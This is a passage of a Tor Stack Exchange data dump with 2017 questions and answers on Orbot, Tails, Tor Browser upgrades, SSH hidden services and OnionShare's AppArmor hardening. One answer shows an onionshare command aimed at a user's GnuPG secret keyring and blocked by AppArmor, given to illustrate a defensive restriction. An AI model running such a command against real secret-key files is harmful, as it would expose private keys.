CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="13806" PostTypeId="1" AcceptedAnswerId="13807" CreationDate="2017-01-24T20:34:22.923" Score="0" ViewCount="836" Body="&lt;p&gt;Given an app configured to use Orbot's Apps VPN Mode, I am trying to determine how the VPN works. Most of the app's traffic is sent directly to a Tor hidden service the user controls, but some pieces of data are retrieved over https.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Can I be sure that all Internet traffic from the app is going through Tor?&lt;/li&gt;&#xA;&lt;li&gt;If the app is forwarding some traffic (Bitcoin transactions) to a Tor hidden service (a &lt;code&gt;.onion&lt;/code&gt; URL under the user's control), am I correct that there is no MITM concern for that portion of the data?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;FYI: I am trying to verify the information in this guide is correct with regards to Orbot:&#xA;&lt;a href=&quot;https://github.com/jonathancross/jc-docs/blob/master/Bitcoin_mobile_privacy.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/jonathancross/jc-docs/blob/master/Bitcoin_mobile_privacy.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3471" LastActivityDate="2017-01-24T21:03:29.663" Title="Orbot Apps VPN Mode - data leakage?" Tags="|onion-services|orbot|vpn|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13807" PostTypeId="2" ParentId="13806" CreationDate="2017-01-24T21:03:29.663" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Use your own software AP and &lt;code&gt;tcpdump&lt;/code&gt; to verify it. In my case it worked fine, &lt;strong&gt;but not on device boot-up&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;In Tor it's impossible to make MitM unless you're doing it &lt;em&gt;directly&lt;/em&gt; at the point of dot-onion service host.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;the guide you've referenced seems to be sane and working as described&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-24T21:03:29.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13808" PostTypeId="1" CreationDate="2017-01-24T22:51:01.557" Score="0" ViewCount="188" Body="&lt;p&gt;Any idea how this UUID has been generated and whether I could be identified with it.&#xA;This was sent in SSL when I open orfox. I captured it. After this one connecrion to mozilla, the traffic went through orbot and was encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GET /v1?uuid=013hulika6h-2078-489d-8dd2-dhh434e15fa&amp;amp;device=shamu&amp;amp;lang=eng&amp;amp;country=USA&amp;amp;manufacturer=motorola&amp;amp;appId=info.guardianproject.orfox&amp;amp;version=Fennec-45.5.1esr/TorBrowser-6.5-1/Orfox-1.2.1 HTTP/1.1&#xA;User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.0; Nexus 6 Build/NBD91P)&#xA;Host: switchboard-server.dev.mozaws.net&lt;/p&gt;&#xA;" OwnerUserId="15976" LastActivityDate="2017-01-25T21:52:49.940" Title="Why Orfox + Orbot sends UUID to Amazon/Mozilla?" Tags="|anonymity|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13810" PostTypeId="1" CreationDate="2017-01-24T23:29:51.557" Score="1" ViewCount="9208" Body="&lt;p&gt;I have been using Tails successfully for a little while now. However, once I removed the HDD from my computer and then tried using Tails, the Tor Browser would not connect to the internet. THe onion router had the big X through it. Tails stated that it was trying to set the clock because it would not work properly without the correct time and day. But it already had set the clock correctly. If I had to guess, I would say that not having the hard drive in the computer is affecting the ability of Tailsto connect to the internet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am writing this message in Tails/Tor Browser &lt;em&gt;after&lt;/em&gt; putting the hard drive back in - no problems here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to keep the HDD out of my computer when using Tails, like now. What do I need to do to eliminate this problem. I am a beginner when it comes to Linux. &#xA;Thank you!!&lt;/p&gt;&#xA;" OwnerUserId="15977" LastEditorUserId="435" LastEditDate="2017-01-29T12:45:10.880" LastActivityDate="2022-12-16T23:00:05.050" Title="Tails/Tor Browser not connecting to the internet" Tags="|security|tails|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13811" PostTypeId="2" ParentId="13810" CreationDate="2017-01-24T23:45:30.740" Score="0" Body="&lt;p&gt;You need to add a &quot;modifiable&quot;/writable partition to your Tails USB stick. The problem is that Tails does behave strange sometimes if it does not have such a partition &lt;em&gt;on a pendrive&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-24T23:45:30.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13812" PostTypeId="1" CreationDate="2017-01-25T00:40:30.043" Score="1" ViewCount="375" Body="&lt;p&gt;if a RAT hits my computer and it is NOT the kind that can write to firmware, and I am using my tor tails livecd, and I have no HDD installed on the computer, can this kind of (non-firmware writing) RAT write to my livecd on my dvd player? Or would only a firmware writing RAT be able to write to the livecd?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2...along those same lines, If i download tails iso to a separate computer - (not the computer I will use TAILS on) and someone is on my computer and they send a RAT to this downloaded iso file, or to the dvd with the burned completed tails file/ livecd, will this RAT be permanent on the dvd such that whenever i use it for TAILS livecd, there will always be an active RAT? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx - newbie!&lt;/p&gt;&#xA;" OwnerUserId="15979" LastActivityDate="2018-03-24T08:10:06.997" Title="Infected tails dvd" Tags="|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13814" PostTypeId="1" CreationDate="2017-01-25T04:35:25.273" Score="3" ViewCount="364" Body="&lt;p&gt;After start tor-browser on debian wheezy it tried to upgrade to 6.5 version. It automatically downloaded asc, xz and failed on verifying. I made so several times, then go to &lt;a href=&quot;https://dist.torproject.org/torbrowser/6.5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/6.5/&lt;/a&gt; and downloaded myself both. Both are same checked with diff3. After failed verifying, obviously, cannot upgrade. What can be reason? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15980" LastActivityDate="2017-01-26T04:24:45.697" Title="Upgrading to 6.5" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13815" PostTypeId="2" ParentId="13814" CreationDate="2017-01-25T06:26:33.207" Score="2" Body="&lt;p&gt;Solution for Debian Wheezy found following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;update/refresh keys from mit using command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyserver pgp.mit.edu --homedir &quot;$HOME/.local/share/torbrowser/gnupg_homedir/&quot; --refresh-keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after this &lt;code&gt;torbrowser-launcher&lt;/code&gt; upgrades itself successfully. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Vika^ from #tor&lt;/p&gt;&#xA;" OwnerUserId="15980" LastEditorUserId="15983" LastEditDate="2017-01-25T15:57:49.247" LastActivityDate="2017-01-25T15:57:49.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13816" PostTypeId="2" ParentId="13740" CreationDate="2017-01-25T07:04:54.363" Score="1" Body="&lt;p&gt;One answer is that Tor Launcher, which is a browser extension that's part of Tor Browser, &lt;em&gt;is&lt;/em&gt; a Tor controller, and a very popular one:&#xA;&lt;a href=&quot;https://gitweb.torproject.org/tor-launcher.git/tree/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/tor-launcher.git/tree/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For relay operators, the 'arm' controller, which is currently undergoing a rewrite and will emerge as 'nyx', is pretty popular:&#xA;&lt;a href=&quot;https://www.torproject.org/projects/arm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/arm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also enjoy the 'stem' library which can be used to script all sorts of things via your control port:&#xA;&lt;a href=&quot;https://stem.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stem.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And most recently, check out the blog post on carml:&#xA;&lt;a href=&quot;https://blog.torproject.org/blog/exploring-tor-carml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/blog/exploring-tor-carml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In summary: from the client side, Tor Browser is integrated with a very good controller, and from the relay side, there are plenty of options, plus plenty more work to be done.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2017-01-25T07:04:54.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13817" PostTypeId="1" AcceptedAnswerId="13819" CreationDate="2017-01-25T11:37:01.073" Score="1" ViewCount="304" Body="&lt;p&gt;According to the papers leaked by Snowden, the NSA has the ability to intercept communications carried by submarine cables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: does Tor also use these submarine cables? So, can Tor be monitored through surveillance programs like PRISM or Upstream?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine that the NSA has intervened all submarine telecommunication cables. I suppose Tor uses these cables. So, could the NSA spy on Tor's communications in this context?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Forgive my English, English is not my mother tongue).&lt;/p&gt;&#xA;" OwnerUserId="15985" LastEditorUserId="15985" LastEditDate="2017-01-30T19:38:51.040" LastActivityDate="2017-02-18T10:30:26.853" Title="Tor and Submarine communications cables" Tags="|anonymity|circuit|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13818" PostTypeId="1" CreationDate="2017-01-25T11:37:23.180" Score="1" ViewCount="1099" Body="&lt;pre&gt;&lt;code&gt;1/25/2017 19:14:38 PM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/25/2017 19:16:12 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/25/2017 19:16:12 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/25/2017 19:16:12 PM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/25/2017 19:16:12 PM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;1/25/2017 19:16:18 PM.900 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;1/25/2017 19:16:18 PM.900 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;1/25/2017 19:16:40 PM.000 [WARN] Proxy Client: unable to connect to 154.35.22.12:4304 (&quot;general SOCKS server failure&quot;) &#xA;1/25/2017 19:17:08 PM.500 [WARN] Proxy Client: unable to connect to 154.35.22.11:80 (&quot;general SOCKS server failure&quot;) &#xA;1/25/2017 19:17:23 PM.900 [WARN] Proxy Client: unable to connect to 192.99.11.54:443 (&quot;general SOCKS server failure&quot;) &#xA;1/25/2017 19:18:25 PM.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;1/25/2017 19:18:25 PM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/25/2017 19:18:25 PM.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;1/25/2017 19:18:35 PM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/25/2017 19:18:35 PM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/25/2017 19:18:35 PM.700 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/25/2017 19:18:35 PM.700 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;1/25/2017 19:18:37 PM.600 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;1/25/2017 19:18:37 PM.600 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;1/25/2017 19:18:37 PM.600 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;1/25/2017 19:18:37 PM.600 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 64186650FFE4469EBBE52B644AE543864D32F43C at 89.187.142.208:443) &#xA;1/25/2017 19:18:37 PM.600 [WARN] 13 connections have failed: &#xA;1/25/2017 19:18:37 PM.600 [WARN]  10 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;1/25/2017 19:18:37 PM.600 [WARN]  3 connections died in state handshaking (proxy) with SSL state (No SSL object) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15986" LastEditorUserId="9291" LastEditDate="2017-01-25T20:51:02.600" LastActivityDate="2017-04-25T23:17:55.923" Title="failed to Establishing an encrypted directory connection failed (done - 0.0.2.0:3)" Tags="|tor-browser-bundle|directory|" AnswerCount="1" CommentCount="0" ClosedDate="2017-05-09T12:02:47.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="13819" PostTypeId="2" ParentId="13817" CreationDate="2017-01-25T12:22:50.893" Score="0" Body="&lt;p&gt;you can monitor the cable or the wireless packets, but they're encrypted, so to actually monitor the tor traffic you need to defeat the encryption algo at least three times in a row - because by default Tor uses 3 hops and so it makes a three-layer onions.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-25T12:22:50.893" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="13820" PostTypeId="1" AcceptedAnswerId="13830" CreationDate="2017-01-25T14:15:08.027" Score="0" ViewCount="752" Body="&lt;p&gt;I have multiple hidden services which are SSH servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They do give unstable connections, and drop out all the time (after a couple seconds).&#xA;Sometimes with a SOCKS error 1 or with &#xA;packet_write_wait: Connection to UNKNOWN port 65535: Broken pipe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A couple specifics&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I use openssh as the server&lt;/li&gt;&#xA;&lt;li&gt;HidServAuth is properly configured on all client&lt;/li&gt;&#xA;&lt;li&gt;I use netcat-openbsd to connect to the socks 5 proxy (configured&#xA;through ProxyCommand)&lt;/li&gt;&#xA;&lt;li&gt;Compression Yes in the client .ssh/config file&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Anybody any suggestions to overcome this kind of behavior?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I tried every ProxyCommand, but I feel like it is the Socks proxy of tor (or tor itself) that drops the packet or stops working.&#xA;I'm running in a chroot, can this make a difference?&lt;/p&gt;&#xA;" OwnerUserId="15988" LastEditorUserId="15988" LastEditDate="2017-01-25T17:38:11.730" LastActivityDate="2017-01-25T19:33:34.287" Title="TOR BUG,Tor dropping SSH tunnel to hidden SSH service" Tags="|onion-services|socks|network-configuration|ssh|tunnel|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13821" PostTypeId="2" ParentId="13820" CreationDate="2017-01-25T14:44:47.640" Score="0" Body="&lt;p&gt;Well, post your client and service's config file to clarify it. The step-by-step checklist answers are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I'm using OpenSSH as a server too, also tried WinSSHD - works fine too&lt;/li&gt;&#xA;&lt;li&gt;Haven't used it, I'm using a bit different security scheme&lt;/li&gt;&#xA;&lt;li&gt;Please post your ProxyCommand value - maybe here is the problem. I've used either a PRoxyCommand or TransPort+firewall+NAT - no problems so far&lt;/li&gt;&#xA;&lt;li&gt;It does matter &lt;em&gt;only&lt;/em&gt; if you're using windows clients like PuTTY - sometimes they will behave exactly like this. BitwiseSSH works perfect with compression under windows, PuTTY does have a problem here. In case of Linux or Unix(FreeBSD, Solaris) clients I've tried - no problem with compression level at all&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So post your configs and we will try to figure it out deeper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Chroot should cause no problem at all, it either breaks all things apart or it just works. Do you use keepalives in SSH &lt;strong&gt;and&lt;/strong&gt; SSHD configs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE#2: Then we'll try a different setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add this on tor installations client side:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VirtualAddrNetworkIPv4 10.192.0.0/10&#xA;AutomapHostsOnResolve 1&#xA;TransPort 9040&#xA;TransListenAddress 127.0.0.1&#xA;DNSPort 53&#xA;DNSListenAddress 127.0.0.1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and divert all the traffic to this subnet into 127.0.0.1 port 9040 via your nat/firewall. Remove the ProxyCommand from ssh configs and use 127.0.0.1:53 as a resolver dns. After that try connecting this way&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2017-01-25T18:29:25.217" LastActivityDate="2017-01-25T18:29:25.217" CommentCount="27" ContentLicense="CC BY-SA 3.0" />
  <row Id="13822" PostTypeId="1" CreationDate="2017-01-25T15:59:26.420" Score="0" ViewCount="23679" Body="&lt;p&gt;Im trying to boot from TAILS using my usb flashdrive. I downloaded the TAILS iso. file to the computer, burned the file to dvd, and then copied it over by way of &quot;send to&quot; to the new usb flashdrive, and it copied it there. Both the dvd and usb have the same number of bytes. When I boot my computer from the usb drive, it doesn't read the usb tails disk image file. &#xA;Thx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just realized that the dvd won't boot either b/c it is only the iso file. I thought the iso file had been burned, but for some reason it did not burn. Trying now. &lt;/p&gt;&#xA;" OwnerUserId="15989" LastEditorDisplayName="user5" LastEditDate="2017-03-27T00:12:53.573" LastActivityDate="2023-03-10T17:50:10.143" Title="Tails USB Stick Not Booting" Tags="|tails|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13825" PostTypeId="2" ParentId="8751" CreationDate="2017-01-25T17:40:15.120" Score="0" Body="&lt;p&gt;It highly depends on the mechanism of the site list restriction. If it's implemented on HTTPS CONNECT level - then it's a big probability of the fail. If you can reach the websites served by Amazon Cloudflare and/or Azure - you can try to use meek-azure and meek-amazon pluggable transports.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-25T17:40:15.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13830" PostTypeId="2" ParentId="13820" CreationDate="2017-01-25T19:33:34.287" Score="1" Body="&lt;p&gt;The problem was the server was hosted on a non-standard ssh port (2022).&#xA;Solutions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the LongLivedPorts  to add your port in your torrc and make more stable connections for certain ports&lt;/li&gt;&#xA;&lt;li&gt;If the ssh server is a hidden service, 22 127.0.0.1:2022 in your torrc will redirect this to a port in LongLivedPorts&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15988" LastActivityDate="2017-01-25T19:33:34.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13832" PostTypeId="2" ParentId="13822" CreationDate="2017-01-25T19:47:55.403" Score="2" Body="&lt;p&gt;Your question is quite puzzling,&#xA;Burning a iso to a dvd would work straight (if your BIOS is configured or you choose a device to boot)&#xA;Making a USB bootable is not as simple as imaging the DVD to the USB.&#xA;You have a couple options&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you want to easily want to carry a couple ISO's and just copy them whenever you need them, use Easy2Boot.&lt;/li&gt;&#xA;&lt;li&gt;For a dedicated tails iso, If you are using Windows, use Rufus (&lt;a href=&quot;https://rufus.akeo.ie/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://rufus.akeo.ie/&lt;/a&gt; ) It will make the usb drive bootable with your iso&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="15988" LastActivityDate="2017-01-25T19:47:55.403" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13833" PostTypeId="2" ParentId="13822" CreationDate="2017-01-25T20:07:03.663" Score="0" Body="&lt;p&gt;I got it! Can disregard the bottom. &#xA;usb installer, a couple of checkmarks, done!&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;thx!&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;yes, it did not work after copying the files over to the usb. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i downloaded rufus and installed it on the usb. &#xA;Can i now burn the iso on the computer to the usb? though isn't &quot;burning&quot; only for cd/dvd? so would i &quot;send to&quot; the iso image to the usb? The goal is to boot TAILS from the usb on my personal computer. I think i am doing this incorrectly)) Am i just putting the iso on the usb drive and that is it? No converting the &quot;iso&quot; to something else for the usb to be able to boot TAILS?&#xA;thx&#xA;I just used the following steps and tried to boot from it and got the message bootmgr is missing. &#xA;To create a bootable USB flash drive&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Insert a USB flash drive into a running computer.&#xA;&#xA;Open a Command Prompt window as an administrator.&#xA;&#xA;Type diskpart.&#xA;&#xA;In the new command line window that opens, to determine the USB flash drive number or drive letter, at the command prompt, type list disk, and then click ENTER. The list disk command displays all the disks on the computer. Note the drive number or drive letter of the USB flash drive.&#xA;&#xA;At the command prompt, type select disk &amp;lt;X&amp;gt;, where X is the drive number or drive letter of the USB flash drive, and then click ENTER.&#xA;&#xA;Type clean, and the click ENTER. This command deletes all data from the USB flash drive.&#xA;&#xA;To create a new primary partition on the USB flash drive, type create part pri, and then click ENTER.&#xA;&#xA;To select the partition that you just created, type select part 1, and then click ENTER.&#xA;&#xA;To format the partition, type format fs=ntfs quick, and then click ENTER.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Type active, and then click ENTER.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type exit, and then click ENTER.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you finish preparing your custom image, save it to the root of the USB flash drive.&lt;/p&gt;&#xA;" OwnerUserId="15996" LastEditorUserId="15996" LastEditDate="2017-01-25T20:57:06.137" LastActivityDate="2017-01-25T20:57:06.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13834" PostTypeId="2" ParentId="13818" CreationDate="2017-01-25T20:52:46.737" Score="1" Body="&lt;p&gt;It looks like you have a SSL/TLS attack/intrusion. Try using meek pluggable transport, it is designed specially for the cases like this one&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-25T20:52:46.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13835" PostTypeId="2" ParentId="13808" CreationDate="2017-01-25T21:52:49.940" Score="1" Body="&lt;p&gt;It seems to be known issue. Nice. I think it's strange that it still exists. It should be the first thing to check. &lt;a href=&quot;https://dev.guardianproject.info/issues/6585&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dev.guardianproject.info/issues/6585&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15976" LastActivityDate="2017-01-25T21:52:49.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13836" PostTypeId="2" ParentId="13812" CreationDate="2017-01-25T21:53:32.513" Score="1" Body="&lt;p&gt;It is possible yes, but that is why they include the checksum on the site.&#xA;If you make a checksum of the iso it has to equal the one on the site.&#xA;If not... the file was changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the same if you download the iso. You should check the site for the recommended way to download and verify the ISO.&lt;/p&gt;&#xA;" OwnerUserId="15988" LastEditorUserId="3471" LastEditDate="2017-01-27T01:03:29.373" LastActivityDate="2017-01-27T01:03:29.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13838" PostTypeId="2" ParentId="13812" CreationDate="2017-01-25T23:59:53.910" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If the device itself is a read-only one, it lacks a writing laser, so even with firmware owned by RAT - it can't change a wave length of the diode in your read-only drive and &quot;make it to write&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;yes - in case if it's sent to DVD iso, that's the only reason to make a drop-in into an image: it's hilarious to insert the RAT but not make it auto-loading, it just won't work and will expose the whole hack attempt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2017-01-25T23:59:53.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13839" PostTypeId="1" CreationDate="2017-01-26T00:16:32.293" Score="1" ViewCount="1041" Body="&lt;p&gt;Is it possible on a Mac to set up multiple profiles for the TorBrowser, each with different preferences, and have two TorBrowsers open at once?&lt;/p&gt;&#xA;" OwnerUserId="15999" LastEditorUserId="15999" LastEditDate="2017-02-13T20:07:42.263" LastActivityDate="2017-02-13T20:07:42.263" Title="Multiple profiles for TorBrowser, two TorBrowsers open at once?" Tags="|mac|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13841" PostTypeId="1" AcceptedAnswerId="13842" CreationDate="2017-01-26T04:30:01.940" Score="1" ViewCount="746" Body="&lt;p&gt;&lt;a href=&quot;https://tails.boum.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tails 2.10&lt;/a&gt; includes the &lt;a href=&quot;https://onionshare.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;OnionShare&lt;/a&gt; software for the first time. While experimenting with OnionShare I discovered that I could share files on my desktop. That surprised me. TorBrowser was hardened so that it could only access files in the /home/amnesia/TorBrowser directory. Allowing OnionShare to access files on the desktop seems contrary to the philosophy that guided the hardening of Tor Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my analysis correct? Is a user of OnionShare protected with the same kind of hardening as is a user of TorBrowser? Are the threats completely different, rendering my view of things too superficial? Should we be asking Tails developers to adopt the same approach to OnionShare as to TorBrowser?&lt;/p&gt;&#xA;" OwnerUserId="435" LastActivityDate="2017-01-29T12:45:42.260" Title="Tails and OnionShare" Tags="|security|tails|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13842" PostTypeId="2" ParentId="13841" CreationDate="2017-01-26T07:41:23.763" Score="3" Body="&lt;p&gt;The threats are completely different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor Browser has a much larger attack surface (it has far more features and functionality that could go wrong) and it's not written in an memory safe language (if features or functionality do go wrong, the potential for exploitation is far greater) where as OnionShare is written in python which is memory safe and has a far smaller attack surface and is designed and intended for a single task, with a far smaller code base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There &lt;em&gt;is&lt;/em&gt; similar hardening in place. This is applied through AppArmor, the same kernel access control module used to enforce Tor Browser's restrictions but it was decided to allow sharing of almost all content from the amnesia user's home directory, it's easy to imagine scenarios where users wish to share a document from inside &lt;code&gt;~/Documents/&lt;/code&gt; or a file from inside &lt;code&gt;~/Persistent/&lt;/code&gt;. There are some exceptions for folders that may contain cryptographic keys, logs and a few other sensitive files, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;amnesia@amnesia:~$ onionshare .gnupg/secring.gpg &#xA;Onionshare 0.9.1 | https://onionshare.org/&#xA;Connecting to Tor control port to set up onion service on port 17600.&#xA;Staring ephemeral Tor onion service and awaiting publication&#xA;Preparing files to share.&#xA;Traceback (most recent call last):&#xA;[...SNIP...]&#xA;PermissionError: [Errno 13] Permission denied: '/home/amnesia/.gnupg/secring.gpg'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ultimately, like a lot of Tails' feature set, there is a trade off between security and usability (where they conflict). It could be more restrictive but if you made it difficult for people to use in the process, they might instead opt for a less secure alternative. An example of a more secure setting to run OnionShare from would be &lt;a href=&quot;https://twitter.com/subgraph/status/771402258370039808&quot; rel=&quot;nofollow noreferrer&quot;&gt;something like that used in Subgraph&lt;/a&gt; where they are run inside a sandbox and further restricted with other userspace and kernel hardening mechanisms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant AppArmor configurations are: &lt;a href=&quot;https://git-tails.immerda.ch/tails/tree/config/chroot_local-includes/etc/apparmor.d/abstractions/onionshare&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;abstractions/onionshare&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://git-tails.immerda.ch/tails/tree/config/chroot_local-includes/etc/apparmor.d/usr.bin.onionshare&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;onionshare&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://git-tails.immerda.ch/tails/tree/config/chroot_local-includes/etc/apparmor.d/usr.bin.onionshare-gui&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;onionshare-gui&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the ticket created for the review of the Tails developers AppArmor profiles: &lt;a 